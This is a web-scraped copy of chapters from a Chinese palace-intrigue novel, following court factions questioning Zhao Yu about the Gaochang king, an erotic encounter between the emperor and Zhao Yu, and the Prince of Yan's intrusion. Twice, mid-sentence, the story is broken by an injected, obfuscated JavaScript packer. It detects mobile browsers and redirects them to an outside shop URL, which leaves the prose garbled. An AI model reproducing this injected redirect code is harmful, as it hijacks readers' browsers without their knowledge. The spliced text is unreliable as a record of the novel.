只是,微音殿中人不是众人,他们深刻知道,大郑的“礼·德”与“风雅”的背后,是长城沿线的重兵,是大郑全境水陆要冲,是,…… 赵毓平定西北数百年战乱的伟烈丰功! 顾澹、查伊瑝有私心,可他们不傻,傻子无法成为元熙宰辅。 所以,他们不用仔细看也明白,今夜送到微音殿事涉赵毓西北的一切卷宗,在明面上不会有任何可乘之机。即使,他们更明白,这十年,赵毓将在外运用了各种“便宜手段”,——走私,瞒报,私用武力,私自招抚,私下利诱,等等。无论功绩,无论军情,想要弹劾他,机会俯拾皆是。只是,这些机会,必定在卷宗的后面,压上一枚大大的先帝凤化大印。无论陛下与赵毓关系差到何等地步,皇帝绝对不会违逆先帝旨意。 而且,陛下与赵毓,关系究竟是差,还是,……,只是疏远? “故人何在,烟水茫茫。” 微音殿中一人吟诗,突兀到令人心突。 ——梁徵。 他咳嗽一声,才说,“臣老朽,熬不住,所以就直话直说了。” 文湛微微点头,“大宗伯请说。” 梁徵,“陛下夤夜召臣等入宫,为得是大殿下的事。” 赵毓,“夫子,这称呼……” 梁徵抬手拦住他说话,“称呼什么的都是小事,此时,最要紧的事就是佐证大殿下本人并未与高昌王殷忘川合谋叛国。” 顾澹一向激进,“大宗伯此言差矣。称呼事关名分,名不正,则言不顺。赵先生确非先帝亲子,大殿下这种称呼的确不妥。” 梁徵颤巍巍的来了一句,“若非先帝长子,先帝如何肯将太|祖皇帝的玄铁虎符托付?” 顾澹还要说话,查伊瑝看了他一眼,眼神极其复杂微妙。 ——陛下! 兰芝社竭尽全力阻挡赵毓重夺“先帝长子”于朝野的认可,因为这于他是如虎添翼。 可是,陛下呢? 皇帝如何想? 一代雄主,是否愿意,一个没有血缘关系,同时又手握重兵、战功彪炳的“先帝长子”,重临大郑宗庙? 顾澹立刻闭嘴。 查伊瑝笑着开口,“大宗伯所言极是。只是,……”他眼睛扫了一下微音殿中的众人,稳稳说道,“未经证实的事,也不能一口咬准就是‘并未’发生的事情,毕竟,赵先生的西北旧部,依旧在诏狱关押。” 赵毓挑了一下眉。 所有人都说顾澹性子激烈激进,像是一条竖着尾巴凶悍的狗,可是他知道,查伊瑝才是那只垂着尾巴不叫的狗,咬人,却是入骨三分。 梁徵对赵毓说,“此时,微音殿中有旧人也有新人,不太明白大殿下同那位高昌王的旧故,大殿下不妨仔细说一说。” 御座之上,文湛拿起来瓷盏喝茶。也不知道怎么了,陛下手指似乎轻重没有拿捏准,茶盏与托盘之间有一丝碰撞,擦出细微的声响,……元熙官窑是极上品的好瓷,这个声音,像极了金石相撞,有杀伐气息,却悠长。 过了一会儿,赵毓才说,“我与他,少时相逢。” 梁徵,“在哪里?” 赵毓,“雍京。” 梁徵,“目的何在?” “……” 又过了一会儿,赵毓,“他长姐高昌阿伊拉公主是先帝贵妃,高昌灭国之后,自戕于后宫。” 梁徵,“殷忘川来雍京,是为了替长姐复仇?” “复仇?”赵毓忽然古怪笑出了声,“高昌的王位继承野蛮血腥,毫无人伦。全部继承人可以任意厮杀,最后登上王位的胜利者,屠尽手足。殷忘川同阿伊拉公主没有亲情,他听说公主死在雍京,来雍京,是为了报恩的。” 微音殿一片默然。 高昌的王位继承野蛮血腥,毫无人伦,那么,大郑呢? 天家父子反目,兄弟阋墙,天街公卿骨碎。 今上登位,皇长子被废,二皇子死在镐水之西,三皇子血脉尽断,四、五皇子早埋入黄土,外戚裴氏、姜氏、杜氏族灭! 经过凤化年间的旧人,此时在微音殿上,看着缠枝莲花顶、太湖金砖地与琉璃灯,闻着专为帝王焚烧的香料,想起来旧日腥风血雨,依旧不禁胆寒心惊。 赵毓,“柳大人是否惊讶,此时,微音殿上诸位大人,因何脸色煞白?似乎扑进面缸之中,涂抹上了一层厚厚的面粉?” 微音殿诸公,只有柳密没有亲身经历过这些,可面对赵毓这句刁钻的问题,他是回答不是,不回答也不是。他低头笑了笑,才说,“想必是,忧国忧民。” 赵毓也是一笑,却没有再说话。 …… 其实,原本兰芝社想要攻讦赵毓的罪状是:性骄奢,姬妾数千,衣被繍绮,良驹万匹,车乘僭越。 只是,被查伊瑝拦住了。 骄奢? 谁不是呢? 兰芝社地处江南,膏腴之地中的膏腴之地。兰芝社世家,那个不是田连阡陌,至于族中子弟的花销,都算扯不到养瘦马,仅在笔墨纸砚上的费用,就是寒门出身的雍京大僚无法比拟的,此等情景,以骄奢为罪名攀扯赵毓骄奢,无异于引火烧身。 骄奢是扳不倒一个皇子的。 再说到“车乘僭越”,只怕赵毓会搬出先帝,那也是一个死局。 看来,只有“姬妾数千”之中,可以做做文章,…… …… 梁徵,“有传闻,高昌王的出身极其复杂,他的母亲是狼。” 赵毓,“……” 在西北这十余年,赵毓对大漠南北、以至于天山以西,这一片土地的了解,是世代居住雍京以及江南的微音殿上诸位重臣所无法比拟的。边境上数百年惨烈的战争,使中原对于生活在漠北、以及西疆的那些部族,野兽化了。以为他们都是草原荒漠上猛兽的后代,血脉中的凶残野蛮,才可以支撑数百年的对抗。 “高昌王的母亲,……” 赵毓说,“他母亲是大郑女子。祖籍云中郡,昆都仑河谷地,姓殷。” 顾澹,“汉女媾|和高昌王阿尔术依?” 闻言,赵毓扭头盯住顾澹,两颗眼睛珠子漆黑,死死钉住了他。 顾澹猛地一激灵。 ——像,太像了! 九年前,他的门生,原甘宁总督祝惟演,被赵毓下套陷害行贿柳密,他被牵连到差点官位不保,微音殿上,皇帝也是这样看了他一眼! 漆黑。 如同大正宫黑色的琉璃瓦。 顾澹有些恍神,他甚至还尽力克制自己,不着痕迹看了一眼御座之上。 文湛正在吃酥。 陛下手指之间的点心,表皮颜色与臣子们的不一样,应该是红豆馅的酥饼。 赵毓,“那就要问问顾相您的好门生祝惟演,被革职查办的祝革员了。” 顾澹不明就里,查伊瑝则说,“边境狼烟烽火,各方势力犬牙交错,掠夺百姓这种事,也是在所难免。” 此言一出,众人已经明了。 高昌王的母亲殷氏,想必是因原甘宁总督祝惟演护边不利,被外族犯境劫掠的妇人。 顾、查二人不能深究,其他人不屑深究。一个生死都应该在西北边陲,如同蝼蚁一般的妇人,受辱之后不但不死,反而生下孽种,承袭高昌王位,犯大郑北境,兵压大鲜卑山,烽火燃到山海关,实属骇人听闻,罪大恶极。 她应该去死! 或者说,她死了,却死得不够及时。 以至于丢了祖宗的颜面。 至于这位汉女被劫掠,究竟是大郑护边无能,又或是外族兽|性,就无足轻重了。 左相楚蔷生单手端茶盏,眼尾扫了一下坐他下手的鹿有鸣。 内阁诸相,鹿有鸣与左桂清皆出身寒门,只是,这寒门,也要分出三六九等。 左桂清祖上为列侯,十代过后再无显贵,于是没落;而鹿有鸣则是农户,祖籍山西代州吕梁勾注山,而那勾注山脊之上,就是“南控中原,北扼大漠”的九塞之首,——雁门关。 如果不是科举,恐怕鹿有鸣这位祖辈全部居住于边塞的士子,一生皆无踏入雍京的可能,更不要说成为元熙宰辅,位列朝堂,端坐于微音殿上。 虽然民间士人对于八股取士颇多微词,蔑之为“腐朽”、鄙之为“禁锢”;但在楚蔷生看来,若无科举“不论家世背景只论文章”的开科取士,如今眼前,恐怕尽是钟鸣鼎食簪缨之族,兰芝社的吴侬软语,偌大雍京大正宫,无寒门子弟一立锥之地。 只是,虽说微音殿上有他立足之地,鹿有鸣依旧沉默寡言。对他而言,眼前这场较量是兰芝社与大郑王族宗藩的斗法,他选择静观其变。 见赵毓也没说话,查伊瑝道,“不过,此位殷氏失节苟活,实在辱没大郑女子之名,以后,赵先生也不必称呼其为汉女了。” …… “我不是高昌人,可是,我也不是郑人。” “我母亲的族人不接纳我。” “西疆真正的动|乱根源不是多种多样的人,不是多种多样的佛陀神像,而是相互的仇杀,数百年的暴虐。你爱过一个高昌女人,你感受的到她们的柔软,火热,还有眼泪,她们对于你来说是异族的姑娘而不是牲畜。” “承怡。” “等到战乱平息的那一天,无论是郑人,高昌人,回鹘人,十六国遗族,还是远道而来的阿富汗,波斯,泰西人,都可以安宁的生存在这片土地上,我用最好的葡萄酿酒,在天山等你。” …… “殷氏夫人。” 赵毓忽然开口,“她生在大郑疆土,祖辈都是云中郡的农户,种地,缴税;她死,埋在大郑的昆都仑河谷。她从生到死,都是郑人女子。” 查伊瑝当真愣了一下,才说,“既然赵先生如此说了,……那么,我们换个说法。这位殷夫人既然已经成为高昌王的妾室,出嫁从夫,也算不得是郑人了。” 赵毓古怪笑了一声,像是惊起的夜枭,“我大郑婚姻承袭自周礼,讲究三书六礼,上承宗庙,下启子嗣。” “查相理学泰斗,江左大家,竟然,……” “以劫掠强迫为婚配?” 查伊瑝应到此处,极其清淡一笑,“赵先生,对于殷氏夫人的百般维护,为何如此,……,情真意切?” 这哪里是说赵毓对殷氏夫人的百般维护,情真意切? 横刀一记! 柳密听着,不禁心中一惊。 ——赵毓,怎么会如此沉不住气,被查伊瑝用几句言语就挑起怒火,将自己陷入“对高昌王百般维护,与高昌王情真意切”的境地? “有旧闻。”查伊瑝继续说,“殷忘川昔年在雍京居住的时候,就与赵先生过从甚密。” 众人以为赵毓会极力否认,没想到他却直接点头,“是。” 查伊瑝,“高昌王昔年在雍京,住在赵先生的府邸?” 赵毓,“是。” 查伊瑝,“赵先生对昔年这位友人,如今大郑的敌人,想必,也是有些复杂。” 赵毓则笑了,“到也没什么复杂的。不过……,昔年,他不是友人。” 他的眼神飘过众人,看到微音殿的雕花窗,外面的烟波浩渺的太液池,还有铺于水面上,开到盛极的红莲。 查伊瑝,“御前,赵先生如此否认,有罪犯欺君之嫌。” “他曾是,……”赵毓,“我的家人。” 众人委实一愣。 甚至连查伊瑝都愣了。 “住口!” 御座之上,文湛骤然呵斥! 指间瓷盏狠砸于地面! 名贵的元熙官窑盏,在太湖金砖地面上碎裂一地,如同隆冬北境之地,白雪皑皑,覆盖一切生灵。 静。 此时微音殿的静,若积水自万仞之巅轰然落下,汹涌奔腾,带着毁灭的杀意。 众人皆匍匐,脑门叩于地面,不敢抬头。 天子之怒,浮尸百万,流血千里! 不知道过了多久,一只手,扶住赵毓的手臂,红底描金的江崖海水纹路,是黄枞菖。他低声在赵毓耳边说,“起来吧,陛下走了。” 众人这才松口气,抬头,从跪着的太湖砖面上起来。 不知怎么了,这些元熙重臣们总觉得有些空茫。 微音殿依旧。 大殿顶上莲花缠绕,琉璃灯盏华彩万千,甚至连香炉中的焚香都散发着静谧的香气,蜿蜒出一道纤细的不可捉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729016|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸的云,飘荡而去。 可是,这里似乎曾经被水涛淹没。 如今,滔天巨浪退去,留下了满目疮痍与遍地尸骸。 元熙宰辅,自有元熙宰辅的气度。查伊瑝看着黄枞菖搀扶着赵毓,过来,未语先笑,和颜悦色说道,“赵先生不必忧虑,陛下顾念手足,自然对先生宽仁。” 朝野赞文湛是雄主,是圣王,文韬武略君临九州! 却从未说他“顾念手足”! 赵毓看着他,也是笑,“多谢查相宽慰。” 查伊瑝微笑着拱拱手,与顾澹离去。 梁徵走的时候,面对赵毓伸出一只手,颤巍巍指着他半天,一声长叹,甩袖离去。柳密也是沉默,施礼之后就走了。而旁人与赵毓不熟悉,自是无话,只是,鹿有鸣离开之前,面对赵毓执同辈礼,说了一句,“赵先生,性情中人。” 偌大的微音殿中,只有赵毓,黄枞菖,和楚蔷生。 楚蔷生看着他,随后看着殿外,“鹿有鸣在寒门士子与雍京四品之下文官中极具威望,得他一句‘性情中人’的言语,不容易啊,承怡。” 赵毓没吱声。 “陛下,……”楚蔷生叹口气,“十四年了,我从未见他如此暴怒。” …… 那是遥远神秘的星空。 眼睛从这里望过去,视野内是繁茂紫竹,竹枝竹叶分致错乱,显得至上星空广袤无垠,却残缺不全。 玉熙宫后山紫竹林,先帝命人所种,旨在打醮时接引仙气。 如今先帝驾崩多年,今上对修真打醮的事情完全不感兴趣,紫竹林也就多年无人打理,荒芜了。 赵毓躺着竹林层层落叶之上。 看着…… 他记得自己小时候,时常仰望星空,也时常发一些感慨,——这个尘世如此的寂寞如雪! 忽然!周围脚声凌乱。 嘈嘈杂杂。 甚至还掺着兵器砍劈杂草硬竹的锋利破损声。 赵毓下意识摸腰间,陡然惊觉,——这里是禁宫,他没带防身弩|箭! 此时,一盏琉璃灯,在重重落叶与杂草之后,璀璨而纤细的光线透了过来。 他看到光,就愣了。 提灯之人一看到赵毓,停下,声音极低,似乎高声一些就能累到他,“怎么在这?” 随后,转身将手中灯交给身后的柳从容,挥了挥手指,让他们走。等那些人都退去,文湛才说,“泥炉上还有给你的汤,你再躲着,就凉了。” 说完,他走过去,伸出脚踢了踢赵毓的腿,“过去那边一点。” “我,……”赵毓向旁边挪了一下。 文湛过去他身边,坐在竹林落叶之上,学着赵毓的样子,躺下,看着那边星空。 “这竹林好乱呀,禁卫军和柳从容,还有我,找你,找了半个时辰。”文湛居然还能心平气和的感慨一下,“原先,先帝在的时候,也是这样吗?” 赵毓,“当然不是!当年紫竹林可是仙气飘飘。还不是因为你不喜欢这里,所以才荒了这么许多年?” “是吗?”文湛有些不以为然,“你躲我做什么?” 赵毓支吾,“我……” “知道查伊瑝呈奏什么了?”文湛的声音有些飘忽,“西北边境什叶镇上一封废弃的婚书。故西疆十六国通行六种语言写就,其中有文言文,还有,……高昌文。” “我看到了他的花押。” “字很好看,极认真,似乎他生平所学都凝在那几个字上面了。” “殷忘川。” “承怡。”文湛忽然换了声线,很认真,却没有看赵毓,问,“什么时候的事?” 赵毓,“战争结束,西北撤军的时候。” 文湛,“他用什么蛊惑了你?” 赵毓,“他说,一起走。” 文湛知道,那象征着自由。 这是他用尽全力,拼尽生命也无法给予的。 他的爱,无论怎样深厚,都是沉重的,天生带着牢笼与桎梏。 …… “你还不明白吗?” “陛下!你是大郑的皇帝,你就是大郑王朝!” “所有人,你的亲人,爱你的人,甚至是你爱的人,我们所有人!” “全部都是你,你头顶的天子十二旒,你身后大正宫的奴隶!” “生生世世都要为它们卖命!” “生生世世!” “不死不休!” …… 当年,殷忘川将签字押花好的婚书送过来,赵毓只能让他等一等。 因为,几乎同一时刻,雍京出大事了。 景王南苑叛乱,祸起肘腋,文湛重伤。一封司礼监红封诏书八百里加急呈送西北,赵毓连着三昼夜不下马,千里回京。 赵毓守了文湛七天七夜。 等皇帝终于醒过来,那天夜里,雍京下了暴雨。即使多日未睡,赵毓却无法合上眼睛。他就站在寿春宫的廊檐下,看着烟雨迷蒙的大正宫。 这是他出生的地方,也是他童年的乐土,还有,似乎他全部的回忆,无论是好的还是坏的,最深刻的,入了骨血的回忆都是在这里。他原本以为自己可以抛开这一切,只是,当他再看到这里,他明白,这里似乎就是他生命也是他身体的一部分,已经同他长在一起了,切割掉,就会把他彻底毁坏。 一站,就是一夜。 …… 殷忘川,“你不回雍京了?” 赵毓,“江南热闹,人多,货物多,银子多。” 殷忘川连头也没有抬,“你以后都不回雍京了吗?” 等了好久,赵毓吃完了三颗枣椰,把篮子放在一旁,拍了拍手,才说,“路断了。人这一辈子,想要过的去,就得向前走。” …… 其实,回雍京的路一直没有断。 还有人,一直在等着他。 那人说: ——承怡,这世上没有什么是永恒不变的,我不可能永远等着你。我只能等你到今生今世,我死的那一刻为止。 …… 赵毓,“我没同意。” 文湛,“我知道,那是一封废弃的婚书,就是因为没有你的名字。” 废弃的婚书,终止的盟约。 他们之间无论有怎样的过往,怎样的情谊,怎样的盟誓,是否曾经同生共死,是否是“家人”,都断裂了。 从那之后,他们就是敌人了。 文湛忽然扯住了赵毓的袖子,扣住他的腕骨,“哥哥,我们私奔吧。” 159. 159 159 私奔?都说“普天之下莫非王土”,可是今夜,外有山海关外八百里军情,内有微音殿上唇枪舌战,即使作为皇帝的文湛,他的“私奔”,也只不过是一场镜花水月,连红墙都无法触碰。就算能侥幸躲开一时,一碰到高耸红墙上覆盖的黑色琉璃瓦,就会被碾成齑粉。 “方才我看了看竹林的地形。”文湛自己站起来,单手握住赵毓,也将他从满是紫竹落叶的地面上拉起来,“柳从容他们在那边,我们从这边走。” 回到雍京这几年,赵毓有的时候恍惚,他回归了一个古老而坚固的壳子中。他生于斯长于斯,自发长出适应壳子的血肉,即使有些不适应的地方,也应该一并砍去,这似乎是理所应当的。只是,为什么当文湛扯住他的腕骨去“私奔”,他却有一种不合时宜的向往? 这是一场恣意的行为,甚至可以说的上是暴|行。 “承怡,我记得小时候来过这里。”文湛在夜里,似乎狼一般,不会迷路,“没有这么凌乱。” “我都说了,你不喜欢紫竹林,他们不会费心打理,荒废了。” “哦。”文湛的声音似乎可惜,似乎又不那么可惜。 “大正宫的主人换过多少代了。”赵毓,“这片土地上的花草,都要按照君王的喜好来种植。太|祖喜欢迎春,和苏太子喜欢红莲,宪宗喜欢蔷薇,先帝喜欢紫竹,今上,……呃,你没什么偏好,所以留着一池红莲,还有野蛮生长的紫竹。” 司礼监掌印柳从容似乎发现他们不见了。 周围也多了禁卫军的声音。 他们从紫竹林穿出,在半人高的草丛中下山,一路转向太液池边。 繁茂树木之间,是细水汩汩流过,穿过几块嶙峋的太湖石头,骤然从高处垂落,犹如纤细的瀑布,自九天飞流直下,砸入池水,激荡起万千水花。千年皇家园林,时间已经抚平了起初突兀的煌煌,留下的尽是古朴厚重,与“天人合一,道法自然”。 他们两个躲在金合欢树后,看着已经显出焦急和恐惧情绪的禁卫军们从眼前趟过,赵毓忽然有些良心发现,“是不是有些过分?” 远处就是微音殿。 如同浩瀚烟波中一岛。 陡然被点亮,阴云遮月之下,亮如白昼,薄透似琉璃! 文湛转身向它的反方向,“陪我去宫墙边走走。” 大正宫九门已经关闭,护军似乎早已经得到命令,已经将城门把守到水泄不通。 无法靠近了。 再向前,就是大正宫尽头,外边就是人间。 文湛,“血与铁。” 因为他的声音太低,赵毓没听清,“什么?” “血与铁。”文湛重复了一遍,“我听你说过,红墙就是血,而黑色的琉璃瓦,是铁。” 赵毓,“今天没有雨水,等到下雨的夜再到宫墙这边,就可以看到红色在流淌,真和血一样。” 文湛看着不远处的宫墙,“血与铁,姬氏王族定鼎天下的根基,即使传国玉玺上用小篆镌刻着‘受命于天’。” 赵毓看着他,此时,文湛的眼神如同他的声音一般,非常平淡,没有起伏。那里,既不是牢笼也不是人间权力极致的边界。那里,仅仅只是一道高墙而已。 “哥哥。”文湛忽然轻笑,“我们做吧。” 赵毓,“……?!” 扣住他腕骨的地方,焚烧一般的灼热。 冷宫后面的温泉水也被废弃了,缠绕着葡萄藤的松柏与垂柳填满了这份荒芜。古老的汉白玉雕上布满着苔藓,然而,那之上,就是繁盛的水仙,馥郁的香气覆盖了风信子,鸢尾,茉莉和朱红色|欲滴落的罂|粟。 夜晚,凌翅鸟的几声名叫,唤醒潺潺流水。氤氲的水雾,可以把一些金石燥烈的声音掩盖,又似乎无法掩盖什么,愈加放肆了。 赵毓的手指抓住古老汉白玉雕刻的邻水花纹,手指深深插|入花泥当中,极用力,甚至在手腕处可以看到缠绕着青蓝色的血管,透过白皙如生宣的皮,在交缠。 “王爷,您不能进去!” “王爷,万万不可……” 外面有人阻拦,却拦不住了。黄枞菖高起的声音,带着特有的尖细,好似鞭子一般,直接抽在赵毓的神志上,让他瞬间清醒!而文湛也不遑多让,并且他下手动作极快,一把揽过赵毓的身子,将他挡在身后。 有人闯入这片迷离之境。 皇帝看着来人,平淡冷静的声音,一如在微音殿般居高临下,“燕王叔,何事?” 燕王却不敢直视!他借着水汽与花木的阻挡,向后退了几步,别开眼。好半晌,这位久经沙场的王族大宗正才算找到自己的声音,压抑,恐惧,却好歹是句完整的话语,“陛下,臣为承怡之事而来。” 文湛,“请王叔园外等候。” 如蒙大赦,燕王向后退。夜晚没有月光,漫天星斗无法照亮他眼前的事与人,燕王转身的时候甚至撞到了斑驳的石雕。 等了好一会儿,周围除了几声令这里更加幽静的鸟鸣,什么都离去了,赵毓终于长长出了口气,才说,“完了。” 文湛没吱声。 赵毓,“陛下,咱们怎么出去?” 忽然感觉到天旋地转,被文湛打横抱了起来,沾了温水的缂丝袍裹在他身上。 随后,皇帝平淡的声音,“走出去。” 赵毓,“……!!!!” ——荒淫暴虐。这是当年,有人评价还是东宫时的文湛。燕王听过,却没放心上。这句评价过于大逆不道,也与实情出入过大。十四年来,登基之后的文湛,近在迟尺却带着虚幻,仿若千年王朝的祖宗之法凝聚为人。燕王原本以为,这等悖逆言论不过是政敌一句诋毁,覆亡之前的垂死挣扎。 如今…… 皇帝犹如剥离一层画皮,带着恣意妄为之后的凶性。他衣冠不整,却神情自若,犹如微音殿问政般的端正。他的双手怀中抱着一个人。那人遍体裹着黑色缂丝的衣袍,看不清楚面孔,纤细修长。——男人!即使再细瘦,这样的身量,也是一个男人。 那人露出一只右臂,吊在皇帝的脖颈之上。这条胳膊,苍白细瘦,皮很薄,火光映照上去,手腕处甚至有些极细的青蓝色血管在蜿蜒缠绕,像极了名贵的瓷,藏于大正宫深处,不见天日。 神使鬼差,燕王脑中过了一个场景:几天前,封地,夜晚狩猎之时,面对篝火,赵毓露出右臂。——这样的手,居然能纵马驰骋,弯弓引箭? “承怡……” 文湛一挑眉,“承怡?” 此时,燕王方才回神,——糟了……怎么想到承怡身上去了! 文湛异常平淡开口,“王叔,是要劝谏吗?” 劝谏? ……谏什么? 燕王自知,如果不是今夜军情紧急他留在大正宫,并且又因为听说微音殿上陛下因为承怡与殷忘川的旧事暴怒,因而冒死闯入禁地,他根本不会知道,陛下居然有内宠! 然而,这需要劝谏吗? 不要说他们这种王族权贵、微音殿上的重臣,就算是外面普通士子商人,但凡有些柴米,在律法允许的范围内,谁家没几位小星侍姬? 堂堂陛下空悬后宫,有内宠,难道不是天经地义吗? 燕王,“陛下有言官,劝谏这种事,臣就不越俎代庖了。” 此时,司礼监秉笔黄枞菖异常突兀插了一句,“请王爷到微音殿等候。” 突兀到燕王甚至没有反应过来,这是僭越!而,皇帝只是微微挑一下眉,那双鸦翅般眉带着一丝不可明说的意味深长。 “陛下。”然而燕王则说,“臣说的是家事,在微音殿不合适。” “既然是家事,……”此时,文湛将怀中之人重新用力搂了搂,“那就请王叔长话短说。” “在这?”燕王愣了。 文湛反问,“有何不妥?” 似乎,好像,大概,……,严格说起来,似乎也没有不妥。 内宠,内侍,陛下与王叔,都是“一家人”。 燕王,“陛下,臣想说承怡的事情,这……” 文湛,“朕的枕边人,没有资格听?” “不是。”燕王心说,祖宗,您都说这是您的枕边人了,等闲旁人看在您的面子上都不敢怠慢,只是这“承怡”的事情比较复杂,他又说,“事涉先帝与高昌王,陛下,这……” 文湛又微微挑眉,——他这个动作与当时在封地河谷的赵毓简直一模一样。 异常明白地看着眼前人挣扎。 甚至还有一丝幸灾乐祸! 燕王,“……?!” 文湛,“如果是他的事,请王叔,长话短说。” 闻言,燕王咬了咬牙,用一种舍得一身剐的悲壮开口,“陛下,承怡他,……,另有心上人。” 皇帝依旧平淡,只是此平淡非彼平淡,方才那种闲适没有了,取而代之的是一种极端的平静,湮灭生灵。“呜……”他怀中被蒙着缂丝衣袍那人发出不明声音,像是花尖,被狠狠一掐。 ——承怡另有心上人。那是一瞬间的本|能,听到这几个字,文湛甚至无法压盖从心底泛起的杀意!可是,缓了一会儿,他马上意识到,自己会错意了。 燕王,“承怡与高昌王的交情,早就是昨夜黄花,过去了。” 原来,燕王说的‘另有心上人’,指的是‘高昌王之外的人’。 于是,文湛的情绪重回平淡,“怎么,王叔也对族中子弟的床帏之事,多有关注?” ——族中子弟。燕王先是咂摸了咂摸皇帝口中这四个字,说,“其它的,主上至圣极明,不用臣赘述。” “离间”在文湛眼中,无异于小把戏,甚至不用点到即止。 只是,承怡与皇帝之间,似乎存在极大的分歧,和一些说不清道不明的疏离,这些就是兰芝社敢把这种小把戏演到微音殿上的底气。 皇帝并非看不明白,只是,谁又知道圣意如何? 万一,陛下只是想要因势利导,借着兰芝社对承怡鸟尽弓藏呢? 此时,文湛的手,因揽住怀中人而碰触到了他的衣料,进而轻轻抚了抚那人衣服的缂丝料子,极轻的动作,却是极其亲昵。 燕王心中惊骇! 他又看了看吊在皇帝脖颈上的那条右臂,——苍白细瘦,皮很薄,火光映照上去,手腕处甚至有些极细的青蓝色血管在蜿蜒缠绕,像极了名贵的瓷。 他总认为自己应该想起一些什么,可是,他的脑子似乎被方才遇到的白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729017|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水雾给凝住了,什么也想不起来。 燕王,“承怡在雍京有人,那人是谁,他并未明说,臣不知。只是,他说,那人并非公卿,也非兰芝社,承怡没勉强,那人也非攀附。承怡半生孤寒,生离死别,如今战后余生,有他相伴,夫复何求。” 此时,文湛轻轻转了一下身,怀中人的面孔被衣袍遮挡,又隐入黑暗当中,越发不清晰了。 从未曾见过皇帝如此,像是用尽心力来呵护只属于他的瑰宝,同时,他这个人,也缓和了下来。 燕王似乎也感受到了文湛的放松,才用尽胆量,说了一句,“陛下,莫让外人离间天家骨肉。” 静。 却并非湮灭生灵的静。 此时,这种静中甚至带着一种若有似无的安宁,像是温泉水雾托着满院子馥郁的杂花香气,弥漫开来。 皇帝甚至轻轻笑了一下,才说,“朕与王兄自小一起长大,经过生死,历过别离,这份情谊历久弥坚,任何人无法离间。这点,还请王叔安心。” 燕王,“臣安心,陛下可否让天下人,也安心?” 文湛,“如何做?” 燕王,“明日大田猎。” “陛下也知道,此番田猎并非王族消遣游乐,意义非同寻常,旨在遵循姬氏千年祖训,遴选于战乱可一挽狂澜的将帅之才,以备北境不时之需。” “臣请旨,承怡随扈圣驾。” 文湛,“……” 今日一整天八字不顺。 从白天开始,他同哥哥的温存就屡次被打断,一直到方才。 眼前这位义正词严的大宗正也有一份功劳。 如果明日承怡随扈,好处就是可以同哥哥形影不离;可是,不好的地方也极其显著,就是,作为随扈的王公承怡要骑马,直接结果就是,——今夜无论如何也无法再尽兴缠绵!!! 方才还想着打发走了燕王,就抱着哥哥回鹧鸪殿。 这下子,全泡汤了。 此时,文湛感觉自己有一股子邪火。 燕王则感觉到皇帝的情绪变化更是奇诡。——方才说得好好的,怎么一句话,陛下好像要当场翻脸? 于是,他大着胆子加一句,“陛下,只有这样,才能镇住小人蠢蠢欲动。” “好。”文湛笑容古怪,却终于点头,“就依王叔。” 燕王,“陛下圣明……” 文湛,“王叔得偿所愿,朕可以退下了吗?” 燕王,“呃……” 怎么了这是? 皇帝似乎有股子邪火。 没等他再说话,文湛抱着人,走了。 黄枞菖等一干人马立刻跟随。 这里只剩下燕王,看着深夜乌云遮月的冷宫,嗅着水雾缭绕的花香,理不清自己丈二和尚摸不着头脑的思绪。 那条胳膊,那条胳膊…… ——那条雪白的胳膊,究竟是谁? 翌日,雍京。 南苑猎场大田猎。 昨天夜里,微音殿上,皇帝因赵毓涉高昌王言语无状而暴怒发作的事情,已传遍猎场。 毕竟今日能进入猎场的,不是在京的王公就是原本被“圈禁”在京的藩镇质子们,谁家都有曲径通天的消息渠道,更何况昨天有赵毓的政敌在场,这种消息根本不会被掩埋。 再者,莫说他身负帝王盛怒已令人胆战心惊,单说他身后的西北藩镇尹氏、他之前的副将,涉嫌通敌叛国被押诏狱,就是一桩是非极大的重罪,寻常臣子不是在家闭门思过,惶惶不可终日,就是已然被囚禁。 因而,今日在猎场看到赵毓,震惊的就不仅仅只是随侯世子石慎了。 ——他怎么来了? ——他居然是随扈陛下的王公? 赵毓下马,接他手中缰绳为他牵马之人不是一般随侍在南苑的护卫侍从,竟是姬奉宁! 琅琊郡王? 他的父亲就是大宗正燕王。是了。据说,今日赵毓之所以能够出现在大田猎上,是因为燕王亲自去向陛下求了情。说辞嘛,左右不过就是:与陛下毕竟是手足,即使不是血亲骨肉。 只是,这帝王家,哪里来的手足亲情? 君不见,先帝血脉凋零到令人惋惜的地步。不说其他人,只说先嘉王羽澜被族灭,连王妃肚腹中没见天日的胎儿都没能逃过那道天劫,而尽诛子孙的旨意就是出自之前爱嘉王如珍宝的先帝之手。 兄弟阋墙,夫妻反目,父子成仇。 这些在南苑猎场、在这些王公子弟眼中,都不陌生。 毕竟他们生于斯,长于斯。 有妖言传说大正宫的红墙是血染的,如果这是真的,那么王族内部的杀戮,就是浸染红墙的第一层。这世间,从古至今,多少帝王子息,死前撕心裂肺最后一声,不过就是——“生生世世莫入帝王家”! 他赵毓何德何能,竟然跳出这等森严轮回,偏得今上垂爱? 绝无可能! 眼前这一幕,不过是燕王作为王族大宗正的权力,陛下让出三分薄面。 还有。 燕王如此作为,说到底,也不过是为了他儿子。——琅琊郡王出身西北军,如果赵毓万劫不复,那西北军必定陪葬,到那时,郡王的功业可就一言难尽了。 160. 160 160 猎场中,赵毓下马后,想起一件顶重要的事,问,“文王家那位世子到猎场了吗?” 